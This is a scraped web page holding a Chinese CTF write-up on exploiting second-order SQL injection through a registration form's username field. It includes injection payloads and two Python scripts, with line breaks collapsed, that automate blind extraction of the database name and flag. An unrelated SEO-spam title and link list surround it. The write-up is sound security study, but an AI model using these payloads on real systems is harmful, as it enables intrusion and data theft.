当前位置: 首页 > news >正文

湖北阳新县建设局网站网站伪静态全站伪静态

湖北阳新县建设局网站,网站伪静态全站伪静态,建立网站要钱吗,企业建设网站的目的是使用ctf在线靶场https://adworld.xctf.org.cn/home/index。 进入靶场,发现是一个登录页面。 使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。 访问一下register.php试试,发现是一个注册页面…

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

在这里插入图片描述

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

在这里插入图片描述

访问一下register.php试试,发现是一个注册页面。

在这里插入图片描述

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号’等,密码添加’等会被当做字符传入,而在用户名的地方输入’,注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

在这里插入图片描述

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

在这里插入图片描述

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

在这里插入图片描述

使用1’+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select…where username=‘username’。

开始尝试构建payload。

0'+database()+'0     #结果为0

在这里插入图片描述

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

在这里插入图片描述

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dhh{i}@163.com","username": f"0'+ascii(substr((database()) from {i} for 1))+'0;","password": "123"}data_login = {"email": f"dhh{i}@163.com","password": "123"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

额…不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0
import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dh{i}@163.com","username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;","password": "1"}data_login = {"email": f"dh{i}@163.com", "password": "1"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

http://www.yayakq.cn/news/509341/

相关文章:

  • 网站开发后怎么上线WordPress审核评论插件
  • 网站建设多少钱杭州看车二手车网站源码
  • 怎样做公司的网站深圳住建网
  • wordpress网站导入门户手机网站源码
  • 化妆品网站开发步骤辽宁工业大学教务管理系统
  • 网站如何优化推广企业培训网站
  • html5国外网站模板html源码下载discuz论坛seo设置
  • 如何建一个个人的网站学ui可以做网站么
  • 建网站需要哪些文件夹wordpress 虎嗅网
  • 石河子市建设局网站在哪里建网站
  • 做网站时管理员权限的页面网站分为
  • 网站建设试题以及答案网站备案被注销了
  • 论坛网站制作教程做收益的网站多少钱
  • 个人网站和企业网站东莞短视频推广属于什么
  • 怎么选择营销型网站建设公司wordpress图片不显示
  • 会python做网站商业软文案例
  • 网站建设服务公司有哪些wordpress免费中文主题下载
  • 网站实时推送怎么做网页设计作业欣赏
  • 公众号首图制作网站汽车集团网站建设
  • 谷歌俄语网站页面设计师简历
  • 长沙建网站制作公司网站怎么搬家
  • 个人免费注册公司wordpress数据库优化2018
  • 个人网站策划书怎么做太原制作网站的公司哪家好
  • 企业营销网站怎样做重庆公司名字查重系统
  • 在ps中如何做网站框架宁乡的网站建设
  • .net做网站安全吗旅游资源网站建设的功能及内容
  • 违反建设投诉网站举报微信广告怎么制作
  • 网站 导航条jsp网站加载慢
  • 网站案例分析网站建设的图片尺寸应该是像素
  • 亚马逊做code的网站seo专业论坛